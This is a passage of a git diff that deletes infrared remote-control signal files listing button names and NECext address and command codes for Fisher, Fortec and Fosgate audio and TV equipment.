00 00 -# -name: -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0B 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 12 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 12 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 13 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 15 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 18 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir deleted file mode 100644 index fe87a40e2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 68 00 00 00 -command: 00 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 68 00 00 00 -command: 01 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 68 00 00 00 -command: 04 00 00 00 -# -name: QUICK -type: parsed -protocol: NECext -address: 68 00 00 00 -command: 05 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 68 00 00 00 -command: 08 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 68 00 00 00 -command: 09 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 68 00 00 00 -command: 0A 00 00 00 -# -name: PAUSE/STILL -type: parsed -protocol: NECext -address: 68 00 00 00 -command: 0B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir deleted file mode 100644 index 64f12fcf5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 00 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 01 00 00 00 -# -name: am -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 08 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 09 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 0A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 0B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 0C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 0D 00 00 00 -# -name: tuning_up -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 0E 00 00 00 -# -name: tuning_down -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 0F 00 00 00 -# -name: deck_stop -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 10 00 00 00 -# -name: deck_f.fwd -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 11 00 00 00 -# -name: deck_rew -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 12 00 00 00 -# -name: deck_pause -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 13 00 00 00 -# -name: deck_fwd_play -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 15 00 00 00 -# -name: deck_rev_play -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 16 00 00 00 -# -name: deck_1/2 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 17 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 1B 00 00 00 -# -name: muting -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 1D 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 1F 00 00 00 -# -name: cd_stop -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 40 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 41 00 00 00 -# -name: cd_play -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 41 00 00 00 -# -name: cd_pause -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 42 00 00 00 -# -name: cd_1_open/close -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 43 00 00 00 -# -name: cd_2_auto_space -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 44 00 00 00 -# -name: cd_3_edit -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 45 00 00 00 -# -name: cd_4_side_ab -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 46 00 00 00 -# -name: cd_5_a-b -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 47 00 00 00 -# -name: cd_f.fwd -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 4E 00 00 00 -# -name: cd_f.back -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 4F 00 00 00 -# -name: phono -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 51 00 00 00 -# -name: tuning_mode -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 58 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 59 00 00 00 -# -name: digital_dat/tape-2 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 5B 00 00 00 -# -name: digital_aux -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 5C 00 00 00 -# -name: digital_cd -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 5D 00 00 00 -# -name: tape-1 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 5E 00 00 00 -# -name: dat/tape-2 -type: parsed -protocol: NECext -address: 36 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir deleted file mode 100644 index ec487bbec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 01 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 02 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 03 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 04 00 00 00 -# -name: Remain -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 05 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 06 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 07 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0B 00 00 00 -# -name: SkipForward -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0C 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0D 00 00 00 -# -name: Band -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0E 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 11 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 12 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 13 00 00 00 -# -name: Mem -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 14 00 00 00 -# -name: Intro -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 15 00 00 00 -# -name: Line -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 16 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 17 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 19 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1C 00 00 00 -# -name: Snooze -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1D 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: 60 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: A0 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: A2 A2 00 00 -command: E0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir deleted file mode 100644 index ba87d5d64..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: dir -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 00 00 00 00 -# -name: CdStop -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 04 00 00 00 -# -name: CdMemo -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 05 00 00 00 -# -name: CDPlay -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 06 00 00 00 -# -name: CdIntro -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 09 00 00 00 -# -name: CdRandom -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 0A 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 0B 00 00 00 -# -name: surr -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 0C 00 00 00 -# -name: CDEject -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 0D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 1A 00 00 00 -# -name: Bass -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 1C 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 1E 00 00 00 -# -name: TpAufnLi -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 1F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 40 00 00 00 -# -name: laut -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 41 00 00 00 -# -name: leise -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 42 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 43 00 00 00 -# -name: sound -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 44 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 45 00 00 00 -# -name: phono -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 46 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 48 00 00 00 -# -name: CDRe -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 49 00 00 00 -# -name: CdRep -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 49 00 00 00 -# -name: CDLi -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 4A 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 4B 00 00 00 -# -name: scan -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 4D 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 4E 00 00 00 -# -name: TpStop -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 51 00 00 00 -# -name: TpRecMute -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 52 00 00 00 -# -name: TpEject -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 53 00 00 00 -# -name: TpAufnRe -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 54 00 00 00 -# -name: TpRe -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 55 00 00 00 -# -name: TpLi -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 56 00 00 00 -# -name: TPRecPause -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 57 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 59 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 5A 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 3C 00 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir deleted file mode 100644 index 612ac3b57..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 -# -name: TV/Radio -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: Signal -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1F 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 57 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 58 00 00 00 -# -name: KEY_F3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 59 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir deleted file mode 100644 index 058db89f5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 03 00 00 00 -# -name: tv_dbs -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 04 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 05 00 00 00 -# -name: tv_radio -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 06 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 08 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 09 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 0C 00 00 00 -# -name: scroll_down -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 0D 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 0E 00 00 00 -# -name: multi -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 11 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 19 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 1A 00 00 00 -# -name: sig -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 1B 00 00 00 -# -name: pic -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 1C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 1D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 1E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 1F 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 22 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 23 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 24 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 25 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 28 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 40 00 00 00 -# -name: calendar -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 41 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 42 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 43 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 45 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 46 00 00 00 -# -name: find -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 47 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 48 00 00 00 -# -name: scroll_up -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 49 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 50 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 01 FD 00 00 -command: 51 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir deleted file mode 100644 index 6ce29d4ee..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_DN -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 53 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 83 45 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir deleted file mode 100644 index 214415f9a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MEMORY -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 51 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 83 5F 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir deleted file mode 100644 index 85ba02043..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 00 00 00 00 -# -name: HI-EQ -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 01 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 02 00 00 00 -# -name: DIGITAL_INPUT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 04 00 00 00 -# -name: NIGHT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 12 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 18 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 28 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 28 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 38 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 42 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 48 00 00 00 -# -name: AUX_2 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 4A 00 00 00 -# -name: DOLBY_PRO_LOGIC -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 62 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 68 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 6A 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 70 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 72 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 78 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 82 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 8A 00 00 00 -# -name: CR_SURROUND -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 92 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 98 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 98 00 00 00 -# -name: DTS -type: parsed -protocol: NECext -address: 40 40 00 00 -command: A2 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 40 40 00 00 -command: A8 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: B0 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: B2 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 40 40 00 00 -command: B8 00 00 00 -# -name: TRIM -type: parsed -protocol: NECext -address: 40 40 00 00 -command: C2 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: C8 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: D0 00 00 00 -# -name: 